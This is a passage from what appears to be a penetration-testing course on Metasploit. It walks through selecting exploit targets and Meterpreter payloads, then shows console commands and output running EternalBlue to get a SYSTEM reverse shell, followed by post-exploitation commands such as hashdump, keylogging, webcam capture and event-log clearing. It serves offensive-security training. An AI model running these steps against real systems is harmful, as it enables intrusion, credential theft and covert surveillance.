EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic
Selecting a Target
We can see that there is only one general type of target set for this type of exploit. What if
we change the exploit module to something that needs more specific target ranges? The
following exploit is aimed at:

MS12-063 Microsoft Internet Explorer execCommand Use-After-Free

Vulnerability .

If we want to find out more about this specific module and what the vulnerability behind it
does, we can use the info command. This command can help us out whenever we are
unsure about the origins or functionality of different exploits or auxiliary modules. Keeping in
mind that it is always considered best practice to audit our code for any artifact generation or
'additional features', the info command should be one of the first steps we take when using
a new module. This way, we can familiarize ourselves with the exploit functionality while
assuring a safe, clean working environment for both our clients and us.

MSF - Target Selection

msf6 exploit(windows/browser/ie_execcommand_uaf) > info

Name: MS12-063 Microsoft Internet Explorer execCommand Use-After-

Free Vulnerability
Module: exploit/windows/browser/ie_execcommand_uaf
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2012-09-14

Provided by:
unknown
eromang
binjo
sinn3r <[email protected]>
juan vazquez <[email protected]>

Available targets:
Id Name
-- ----
0 Automatic
1 IE 7 on Windows XP SP3
2 IE 8 on Windows XP SP3
3 IE 7 on Windows Vista
4 IE 8 on Windows Vista
5 IE 8 on Windows 7
 6 IE 9 on Windows 7

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST [Link] yes The local host to listen on. This
must be an address on the local machine or [Link]
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming
connections
SSLCert no Path to a custom SSL certificate
(default is randomly generated)
URIPATH no The URI to use for this exploit
(default is random)

Payload information:

Description:
This module exploits a vulnerability found in Microsoft Internet
Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object
gets deleted in an unexpected manner, but the same memory is reused
again later in the CMshtmlEd::Exec() function, leading to a
use-after-free condition. Please note that this vulnerability has
been exploited since Sep 14, 2012. Also, note that
presently, this module has some target dependencies for the ROP
chain to be valid. For WinXP SP3 with IE8, msvcrt must be present
(as it is by default). For Vista or Win7 with IE8, or Win7 with IE9,
JRE 1.6.x or below must be installed (which is often the case).

References:
[Link]
OSVDB (85532)
[Link]
updates/SecurityBulletins/2012/MS12-063
[Link]
[Link]
yet/

Looking at the description, we can get a general idea of what this exploit will accomplish for
us. Keeping this in mind, we would next want to check which versions are vulnerable to this
exploit.
 msf6 exploit(windows/browser/ie_execcommand_uaf) > options

Module options (exploit/windows/browser/ie_execcommand_uaf):

Name Current Setting Required Description

---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST [Link] yes The local host to listen on. This
must be an address on the local machine or [Link]
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming
connections
SSLCert no Path to a custom SSL certificate
(default is randomly generated)
URIPATH no The URI to use for this exploit
(default is random)

Exploit target:

Id Name
-- ----
0 Automatic

msf6 exploit(windows/browser/ie_execcommand_uaf) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic
1 IE 7 on Windows XP SP3
2 IE 8 on Windows XP SP3
3 IE 7 on Windows Vista
4 IE 8 on Windows Vista
5 IE 8 on Windows 7
6 IE 9 on Windows 7

We see options for both different versions of Internet Explorer and various Windows
versions. Leaving the selection to Automatic will let msfconsole know that it needs to
perform service detection on the given target before launching a successful attack.

If we, however, know what versions are running on our target, we can use the set target
<index no.> command to pick a target from the list.

msf6 exploit(windows/browser/ie_execcommand_uaf) > show targets

Exploit targets:
 Id Name
-- ----
0 Automatic
1 IE 7 on Windows XP SP3
2 IE 8 on Windows XP SP3
3 IE 7 on Windows Vista
4 IE 8 on Windows Vista
5 IE 8 on Windows 7
6 IE 9 on Windows 7

msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6

Target Types
There is a large variety of target types. Every target can vary from another by service pack,
OS version, and even language version. It all depends on the return address and other
parameters in the target or within the exploit module.

The return address can vary because a particular language pack changes addresses, a
different software version is available, or the addresses are shifted due to hooks. It is all
determined by the type of return address required to identify the target. This address can be
jmp esp , a jump to a specific register that identifies the target, or a pop/pop/ret . For more
on the topic of return addresses, see the Stack-Based Buffer Overflows on Windows x86
module. Comments in the exploit module's code can help us determine what the target is
defined by.

To identify a target correctly, we will need to:

Obtain a copy of the target binaries

Use msfpescan to locate a suitable return address

Later in the module, we will be delving deeper into exploit development, payload generation,
and target identification.

Payloads

A Payload in Metasploit refers to a module that aids the exploit module in (typically)
returning a shell to the attacker. The payloads are sent together with the exploit itself to
bypass standard functioning procedures of the vulnerable service ( exploits job ) and then
run on the target OS to typically return a reverse connection to the attacker and establish a
foothold ( payload's job ).

There are three different types of payload modules in the Metasploit Framework: Singles,
Stagers, and Stages. Using three typologies of payload interaction will prove beneficial to the
pentester. It can offer the flexibility we need to perform certain types of tasks. Whether or not
a payload is staged is represented by / in the payload name.

For example, windows/shell_bind_tcp is a single payload with no stage, whereas

windows/shell/bind_tcp consists of a stager ( bind_tcp ) and a stage ( shell ).

Singles
A Single payload contains the exploit and the entire shellcode for the selected task. Inline
payloads are by design more stable than their counterparts because they contain everything
all-in-one. However, some exploits will not support the resulting size of these payloads as
they can get quite large. Singles are self-contained payloads. They are the sole object sent
and executed on the target system, getting us a result immediately after running. A Single
payload can be as simple as adding a user to the target system or booting up a process.

Stagers
Stager payloads work with Stage payloads to perform a specific task. A Stager is waiting on
the attacker machine, ready to establish a connection to the victim host once the stage
completes its run on the remote host. Stagers are typically used to set up a network
connection between the attacker and victim and are designed to be small and reliable.
Metasploit will use the best one and fall back to a less-preferred one when necessary.

Windows NX vs. NO-NX Stagers

Reliability issue for NX CPUs and DEP

NX stagers are bigger (VirtualAlloc memory)
Default is now NX + Win7 compatible

Stages
Stages are payload components that are downloaded by stager's modules. The various
payload Stages provide advanced features with no size limits, such as Meterpreter, VNC
Injection, and others. Payload stages automatically use middle stagers:

A single recv() fails with large payloads

The Stager receives the middle stager
The middle Stager then performs a full download
Also better for RWX
Staged Payloads
A staged payload is, simply put, an exploitation process that is modularized and
functionally separated to help segregate the different functions it accomplishes into different
code blocks, each completing its objective individually but working on chaining the attack
together. This will ultimately grant an attacker remote access to the target machine if all the
stages work correctly.

The scope of this payload, as with any others, besides granting shell access to the target
system, is to be as compact and inconspicuous as possible to aid with the Antivirus ( AV ) /
Intrusion Prevention System ( IPS ) evasion as much as possible.

Stage0 of a staged payload represents the initial shellcode sent over the network to the
target machine's vulnerable service, which has the sole purpose of initializing a connection
back to the attacker machine. This is what is known as a reverse connection. As a Metasploit
user, we will meet these under the common names reverse_tcp , reverse_https , and
bind_tcp . For example, under the show payloads command, you can look for the
payloads that look like the following:

MSF - Staged Payloads

msf6 > show payloads

<SNIP>

535 windows/x64/meterpreter/bind_ipv6_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager
536 windows/x64/meterpreter/bind_ipv6_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager with UUID Support
537 windows/x64/meterpreter/bind_named_pipe
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind Named Pipe Stager
538 windows/x64/meterpreter/bind_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind TCP Stager
539 windows/x64/meterpreter/bind_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager (RC4 Stage Encryption, Metasm)
540 windows/x64/meterpreter/bind_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager with UUID Support (Windows x64)
541 windows/x64/meterpreter/reverse_http
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
 542 windows/x64/meterpreter/reverse_https
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
543 windows/x64/meterpreter/reverse_named_pipe
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse Named Pipe (SMB) Stager
544 windows/x64/meterpreter/reverse_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager
545 windows/x64/meterpreter/reverse_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
546 windows/x64/meterpreter/reverse_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)
547 windows/x64/meterpreter/reverse_winhttp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (winhttp)
548 windows/x64/meterpreter/reverse_winhttps
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTPS Stager (winhttp)

<SNIP>

Reverse connections are less likely to trigger prevention systems like the one initializing the
connection is the victim host, which most of the time resides in what is known as a security
trust zone . However, of course, this trust policy is not blindly followed by the security
devices and personnel of a network, so the attacker must tread carefully even with this step.

Stage0 code also aims to read a larger, subsequent payload into memory once it arrives.
After the stable communication channel is established between the attacker and the victim,
the attacker machine will most likely send an even bigger payload stage which should grant
them shell access. This larger payload would be the Stage1 payload. We will go into more
detail in the later sections.

Meterpreter Payload
The Meterpreter payload is a specific type of multi-faceted payload that uses DLL
injection to ensure the connection to the victim host is stable, hard to detect by simple
checks, and persistent across reboots or system changes. Meterpreter resides completely in
the memory of the remote host and leaves no traces on the hard drive, making it very difficult
to detect with conventional forensic techniques. In addition, scripts and plugins can be
loaded and unloaded dynamically as required.

Once the Meterpreter payload is executed, a new session is created, which spawns up the
Meterpreter interface. It is very similar to the msfconsole interface, but all available
commands are aimed at the target system, which the payload has "infected." It offers us a
plethora of useful commands, varying from keystroke capture, password hash collection,
microphone tapping, and screenshotting to impersonating process security tokens. We will
delve into more detail about Meterpreter in a later section.

Using Meterpreter, we can also load in different Plugins to assist us with our assessment.
We will talk more about these in the Plugins section of this module.

Searching for Payloads

To select our first payload, we need to know what we want to do on the target machine. For
example, if we are going for access persistence, we will probably want to select a
Meterpreter payload.

As mentioned above, Meterpreter payloads offer us a significant amount of flexibility. Their

base functionality is already vast and influential. We can automate and quickly deliver
combined with plugins such as GentilKiwi's Mimikatz Plugin parts of the pentest while
keeping an organized, time-effective assessment. To see all of the available payloads, use
the show payloads command in msfconsole .

MSF - List Payloads

msf6 > show payloads

Payloads
========

# Name Disclosure
Date Rank Check Description
- ---- ---------------
---- ----- -----------
0 aix/ppc/shell_bind_tcp
manual No AIX Command Shell, Bind TCP Inline
1 aix/ppc/shell_find_port
manual No AIX Command Shell, Find Port Inline
2 aix/ppc/shell_interact
manual No AIX execve Shell for inetd
3 aix/ppc/shell_reverse_tcp
manual No AIX Command Shell, Reverse TCP Inline
4 android/meterpreter/reverse_http
manual No Android Meterpreter, Android Reverse HTTP Stager
5 android/meterpreter/reverse_https
manual No Android Meterpreter, Android Reverse HTTPS Stager
6 android/meterpreter/reverse_tcp
manual No Android Meterpreter, Android Reverse TCP Stager
 7 android/meterpreter_reverse_http
manual No Android Meterpreter Shell, Reverse HTTP Inline
8 android/meterpreter_reverse_https
manual No Android Meterpreter Shell, Reverse HTTPS Inline
9 android/meterpreter_reverse_tcp
manual No Android Meterpreter Shell, Reverse TCP Inline
10 android/shell/reverse_http
manual No Command Shell, Android Reverse HTTP Stager
11 android/shell/reverse_https
manual No Command Shell, Android Reverse HTTPS Stager
12 android/shell/reverse_tcp
manual No Command Shell, Android Reverse TCP Stager
13 apple_ios/aarch64/meterpreter_reverse_http
manual No Apple_iOS Meterpreter, Reverse HTTP Inline

<SNIP>

557 windows/x64/vncinject/reverse_tcp
manual No Windows x64 VNC Server (Reflective Injection), Windows x64
Reverse TCP Stager
558 windows/x64/vncinject/reverse_tcp_rc4
manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
559 windows/x64/vncinject/reverse_tcp_uuid
manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP
Stager with UUID Support (Windows x64)
560 windows/x64/vncinject/reverse_winhttp
manual No Windows x64 VNC Server (Reflective Injection), Windows x64
Reverse HTTP Stager (winhttp)
561 windows/x64/vncinject/reverse_winhttps
manual No Windows x64 VNC Server (Reflective Injection), Windows x64
Reverse HTTPS Stager (winhttp)

As seen above, there are a lot of available payloads to choose from. Not only that, but we
can create our payloads using msfvenom , but we will dive into that a little bit later. We will
use the same target as before, and instead of using the default payload, which is a simple
reverse_tcp_shell , we will be using a Meterpreter Payload for Windows 7(x64) .

Scrolling through the list above, we find the section containing Meterpreter Payloads for
Windows(x64) .

515 windows/x64/meterpreter/bind_ipv6_tcp
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager
516 windows/x64/meterpreter/bind_ipv6_tcp_uuid
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager with UUID Support
 517 windows/x64/meterpreter/bind_named_pipe
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind Named Pipe Stager
518 windows/x64/meterpreter/bind_tcp
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind TCP Stager
519 windows/x64/meterpreter/bind_tcp_rc4
manual No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager (RC4 Stage Encryption, Metasm)
520 windows/x64/meterpreter/bind_tcp_uuid
manual No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager with UUID Support (Windows x64)
521 windows/x64/meterpreter/reverse_http
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
522 windows/x64/meterpreter/reverse_https
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
523 windows/x64/meterpreter/reverse_named_pipe
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse Named Pipe (SMB) Stager
524 windows/x64/meterpreter/reverse_tcp
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager
525 windows/x64/meterpreter/reverse_tcp_rc4
manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
526 windows/x64/meterpreter/reverse_tcp_uuid
manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)
527 windows/x64/meterpreter/reverse_winhttp
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (winhttp)
528 windows/x64/meterpreter/reverse_winhttps
manual No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTPS Stager (winhttp)
529 windows/x64/meterpreter_bind_named_pipe
manual No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
530 windows/x64/meterpreter_bind_tcp
manual No Windows Meterpreter Shell, Bind TCP Inline (x64)
531 windows/x64/meterpreter_reverse_http
manual No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
532 windows/x64/meterpreter_reverse_https
manual No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
533 windows/x64/meterpreter_reverse_ipv6_tcp
manual No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
534 windows/x64/meterpreter_reverse_tcp
manual No Windows Meterpreter Shell, Reverse TCP Inline x64
As we can see, it can be pretty time-consuming to find the desired payload with such an
extensive list. We can also use grep in msfconsole to filter out specific terms. This would
speed up the search and, therefore, our selection.

We have to enter the grep command with the corresponding parameter at the beginning
and then the command in which the filtering should happen. For example, let us assume that
we want to have a TCP based reverse shell handled by Meterpreter for our exploit.
Accordingly, we can first search for all results that contain the word Meterpreter in the
payloads.

MSF - Searching for Specific Payload

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter show

payloads

6 payload/windows/x64/meterpreter/bind_ipv6_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Bind TCP
Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
 17 payload/windows/x64/meterpreter/reverse_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTPS Stager (winhttp)

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter show

payloads

[*] 14

This gives us a total of 14 results. Now we can add another grep command after the first
one and search for reverse_tcp .

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep

reverse_tcp show payloads

15 payload/windows/x64/meterpreter/reverse_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter grep

reverse_tcp show payloads

[*] 3

With the help of grep , we reduced the list of payloads we wanted down to fewer. Of course,
the grep command can be used for all other commands. All we need to know is what we
are looking for.

Selecting Payloads
Same as with the module, we need the index number of the entry we would like to use. To
set the payload for the currently selected module, we use set payload <no.> only after
selecting an Exploit module to begin with.

MSF - Select Payload

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description

---- --------------- -------- -----------
RHOSTS yes The target host(s), range
CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain
to use for authentication
SMBPass no (Optional) The password for
the specified username
SMBUser no (Optional) The username to
authenticate as
VERIFY_ARCH true yes Check if remote architecture
matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches
exploit Target.

Exploit target:

Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs

msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep

reverse_tcp show payloads

15 payload/windows/x64/meterpreter/reverse_tcp
normal No Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid
normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

 payload => windows/x64/meterpreter/reverse_tcp

After selecting a payload, we will have more options available to us.

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description

---- --------------- -------- -----------
RHOSTS yes The target host(s), range
CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain
to use for authentication
SMBPass no (Optional) The password for
the specified username
SMBUser no (Optional) The username to
authenticate as
VERIFY_ARCH true yes Check if remote architecture
matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches
exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs

As we can see, by running the show payloads command within the Exploit module itself,
msfconsole has detected that the target is a Windows machine, and such only displayed the
payloads aimed at Windows operating systems.

We can also see that a new option field has appeared, directly related to what the payload
parameters will contain. We will be focusing on LHOST and LPORT (our attacker IP and the
desired port for reverse connection initialization). Of course, if the attack fails, we can always
use a different port and relaunch the attack.

Using Payloads
Time to set our parameters for both the Exploit module and the payload module. For the
Exploit part, we will need to set the following:

Parameter Description
RHOSTS The IP address of the remote host, the target machine.
RPORT Does not require a change, just a check that we are on port 445, where
SMB is running.

For the payload part, we will need to set the following:

Parameter Description
LHOST The host's IP address, the attacker's machine.
LPORT Does not require a change, just a check that the port is not already in use.

If we want to check our LHOST IP address quickly, we can always call the ifconfig
command directly from the msfconsole menu.

MSF - Exploit and Payload Configuration

msf6 exploit(**windows/smb/ms17_010_eternalblue**) > ifconfig

**[\*]** exec: ifconfig

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500

<SNIP>

inet [Link] netmask [Link] destination [Link]

<SNIP>

msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST [Link]

LHOST => [Link]

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS [Link]

 RHOSTS => [Link]

Then, we can run the exploit and see what it returns. Check out the differences in the output
below:

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on [Link]:4444

[*] [Link]:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] [Link]:445 - Host is likely VULNERABLE to MS17-010! -
Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] [Link]:445 - Scanned 1 of 1 hosts (100% complete)
[*] [Link]:445 - Connecting to target for exploitation.
[+] [Link]:445 - Connection established for exploitation.
[+] [Link]:445 - Target OS selected valid for OS indicated by SMB
reply
[*] [Link]:445 - CORE raw buffer dump (42 bytes)
[*] [Link]:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f
66 65 73 Windows 7 Profes
[*] [Link]:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53
65 72 76 sional 7601 Serv
[*] [Link]:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31
ice Pack 1
[+] [Link]:445 - Target arch selected valid for arch indicated by
DCE/RPC reply
[*] [Link]:445 - Trying exploit with 12 Groom Allocations.
[*] [Link]:445 - Sending all but last fragment of exploit packet
[*] [Link]:445 - Starting non-paged pool grooming
[+] [Link]:445 - Sending SMBv2 buffers
[+] [Link]:445 - Closing SMBv1 connection creating free hole adjacent
to SMBv2 buffer.
[*] [Link]:445 - Sending final SMBv2 buffers.
[*] [Link]:445 - Sending last fragment of exploit packet!
[*] [Link]:445 - Receiving response from exploit packet
[+] [Link]:445 - ETERNALBLUE overwrite completed successfully
(0xC000000D)!
[*] [Link]:445 - Sending egg to corrupted connection.
[*] [Link]:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to [Link]
[*] Meterpreter session 1 opened ([Link]:4444 -> [Link]:49158)
at 2020-08-14 11:25:32 +0000
[+] [Link]:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=
[+] [Link]:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=
[+] [Link]:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=
 meterpreter > whoami

[-] Unknown command: whoami.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

The prompt is not a Windows command-line one but a Meterpreter prompt. The whoami
command, typically used for Windows, does not work here. Instead, we can use the Linux
equivalent of getuid . Exploring the help menu gives us further insight into what
Meterpreter payloads are capable of.

MSF - Meterpreter Commands

meterpreter > help

Core Commands
=============

Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a
background thread
channel Displays information or control active
channels
close Closes a channel
disable_unicode_encoding Disables encoding of Unicode strings
enable_unicode_encoding Enables encoding of Unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
IRB Open an interactive Ruby shell on the
current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to
the session
migrate Migrate the server to another process
pivot Manage pivot listeners
 pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the
session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-
establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel

Strap: File system Commands

============================

Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
LCD Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
PWD Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory

Strap: Networking Commands

===========================

Command Description
------- -----------
arp Display the host ARP cache
get proxy Display the current proxy configuration
 ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of hostnames on the target
route View and modify the routing table

Strap: System Commands

=======================

Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the
current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target
process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS

Strap: User interface Commands

===============================

Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idle time Returns the number of seconds the remote user has been
idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
 mouse Send mouse events
screenshare Watch the remote user's desktop in real-time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components

Stdapi: Webcam Commands

=======================

Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

Strap: Audio Output Commands

=============================

Command Description
------- -----------
play play a waveform audio file (.wav) on the target system

Priv: Elevate Commands

======================

Command Description
------- -----------
get system Attempt to elevate your privilege to that of the local
system.

Priv: Password database Commands

================================

Command Description
------- -----------
hashdump Dumps the contents of the SAM database

Priv: Timestamp Commands

========================

Command Description
------- -----------
timestamp Manipulate file MACE attributes

Pretty nifty. From extracting user hashes from SAM to taking screenshots and activating
webcams. All of this is done from the comfort of a Linux-style command line. Exploring
further, we also see the option to open a shell channel. This will place us in the actual
Windows command-line interface.

MSF - Meterpreter Navigation

meterpreter > cd Users

meterpreter > ls

Listing: C:\Users
=================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----
40777/rwxrwxrwx 8192 dir 2017-07-21 06:56:23 +0000 Administrator
40777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 All Users
40555/r-xr-xr-x 8192 dir 2009-07-14 03:20:08 +0000 Default
40777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 Default User
40555/r-xr-xr-x 4096 dir 2009-07-14 03:20:08 +0000 Public
100666/rw-rw-rw- 174 fil 2009-07-14 04:54:24 +0000 [Link]
40777/rwxrwxrwx 8192 dir 2017-07-14 13:45:33 +0000 haris

meterpreter > shell

Process 2664 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users>

Channel 1 has been created, and we are automatically placed into the CLI for this machine.
The channel here represents the connection between our device and the target host, which
has been established in a reverse TCP connection (from the target host to us) using a
Meterpreter Stager and Stage. The stager was activated on our machine to await a
connection request initialized by the Stage payload on the target machine.

Moving into a standard shell on the target is helpful in some cases, but Meterpreter can also
